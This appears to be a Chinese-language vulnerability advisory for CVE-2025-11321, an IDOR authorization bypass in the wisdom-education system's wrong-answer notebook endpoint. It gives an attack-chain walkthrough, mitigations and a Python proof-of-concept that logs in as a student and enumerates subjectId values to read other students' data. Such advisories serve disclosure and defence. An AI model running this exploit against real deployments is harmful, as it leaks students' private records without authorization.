IPBUF安全漏洞报告
English
CVE-2025-11321 CVSS 4.3 中危

CVE-2025-11321:wisdom-education 水平越权漏洞(authorization bypass)

披露日期: 2025-10-06

漏洞信息

漏洞编号
CVE-2025-11321
漏洞类型
授权绕过/水平越权访问控制漏洞
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
zhuimengshaonian wisdom-education(智慧教育系统)

相关标签

授权绕过水平越权IDORwisdom-education智慧教育JavaSpring信息泄露CVE-2025-11321中危漏洞

漏洞概述

CVE-2025-11321 是 zhuimengshaonian 开发的 wisdom-education(智慧教育)系统中的一个授权绕过(authorization bypass)漏洞,影响版本至 1.0.4。该漏洞位于后端控制器文件 src/main/java/com/education/api/controller/student/WrongBookController.java 中,具体涉及对参数 subjectId 的操作处理。由于系统未对 subjectId 参数进行充分的权限校验,攻击者可以通过篡改该参数的值,绕过原本的访问控制机制,访问到不属于自己权限范围内的数据资源(如其他学生的错题本数据)。该漏洞可被远程利用,CVSS 3.1 评分为 4.3 分,属于中危级别。攻击者只需拥有低权限账号(如普通学生账号),无需用户交互即可发起攻击。漏洞利用代码已经公开披露,可能被恶意攻击者利用。从 CVSS 向量来看,该漏洞主要影响系统的机密性(低),对完整性和可用性无直接影响,表明其核心危害在于未授权信息泄露。该漏洞的发现者通过 [email protected] 提交,公开的 PoC 已在 GitHub 上发布,进一步增加了被大规模利用的风险。智慧教育系统通常存储大量学生个人信息和学业数据,此类越权访问漏洞可能导致学生隐私数据泄露,对教育机构和学生个人造成严重的安全威胁。

技术细节

该漏洞的本质是典型的水平越权(IDOR, Insecure Direct Object Reference)问题,存在于 wisdom-education 系统的 WrongBookController.java 控制器中。

技术原理:
1. WrongBookController 是处理学生错题本(WrongBook)相关业务请求的控制器,其接口接收 subjectId(学科ID)作为查询参数。
2. 系统在处理该请求时,未对当前登录用户(学生)的身份与 subjectId 所关联的数据进行严格的权限校验。
3. 攻击者作为已认证的低权限用户(普通学生),可以通过修改请求中的 subjectId 参数值,访问其他学生或非授权范围内的错题本数据。
4. 由于后端仅依赖 subjectId 进行数据查询,未结合当前会话的用户身份进行二次验证,导致任意已登录用户可以遍历或猜测 subjectId 来获取未授权数据。

利用方式:
- 攻击者首先注册或获取一个普通学生账号并登录系统。
- 通过正常请求获取错题本相关接口的调用方式(如 /api/student/wrongBook/list 或类似路径)。
- 在请求中篡改 subjectId 参数,将其替换为其他学科或其他学生的 subjectId。
- 服务器返回非授权的错题本数据,实现水平越权访问。

该漏洞的攻击复杂度低(AC:L),通过网络即可发起(AV:N),仅需低权限认证(PR:L),无需用户交互(UI:N),主要危害为机密性泄露(C:L)。

攻击链分析

STEP 1
步骤1:获取低权限账号
攻击者注册或获取一个普通学生账号,作为已认证的低权限用户登录 wisdom-education 系统。
STEP 2
步骤2:发现目标接口
通过正常浏览或 API 文档发现 WrongBookController 相关的接口,该接口接受 subjectId 参数返回错题本数据。
STEP 3
步骤3:构造恶意请求
在已认证会话中,构造带有篡改后 subjectId 参数的 HTTP 请求,尝试访问非授权范围内的学科或学生的错题本数据。
STEP 4
步骤4:绕过授权校验
由于后端未对 subjectId 与当前用户身份进行关联性校验,服务器返回了非授权的错题本数据,授权机制被绕过。
STEP 5
步骤5:批量获取敏感数据
攻击者通过遍历或枚举 subjectId 值,批量获取系统中其他学生的错题本数据,造成大规模学生隐私信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11321 PoC - wisdom-education Authorization Bypass # Vulnerability: Horizontal Privilege Escalation via subjectId parameter # Affected File: WrongBookController.java # Affected Versions: wisdom-education <= 1.0.4 import requests # Target configuration TARGET_URL = "http://target-host:8080" LOGIN_URL = f"{TARGET_URL}/api/student/login" WRONGBOOK_URL = f"{TARGET_URL}/api/student/wrongBook/list" # Step 1: Login with a low-privilege student account session = requests.Session() login_data = { "username": "student_test", "password": "password123" } resp = session.post(LOGIN_URL, json=login_data) print(f"[+] Login status: {resp.status_code}") # Step 2: Access wrong book with manipulated subjectId # The vulnerability allows accessing unauthorized subjects by changing subjectId for subject_id in [1, 2, 3, 4, 5, 100, 101, 102]: params = {"subjectId": subject_id} resp = session.get(WRONGBOOK_URL, params=params) if resp.status_code == 200: data = resp.json() print(f"[+] subjectId={subject_id} - Data accessed: {len(data.get('data', []))} records") # If data is returned for a subject the user shouldn't have access to, # the authorization bypass is confirmed. print("[+] Exploit completed - check for unauthorized data access")

影响范围

zhuimengshaonian wisdom-education <= 1.0.4

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)在反向代理(如 Nginx)或 API 网关层面,对 WrongBookController 相关接口添加额外的身份与资源关联性校验逻辑;2)在后端临时增加拦截器,对 subjectId 参数与当前登录用户所属学科进行一致性校验,拒绝不匹配的请求;3)限制单个用户在短时间内的 API 请求频率,防止通过遍历 subjectId 进行批量数据窃取;4)对所有涉及个人数据的接口进行日志审计,及时发现异常访问行为;5)考虑临时关闭非必要的错题本查询接口,直至修复完成。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表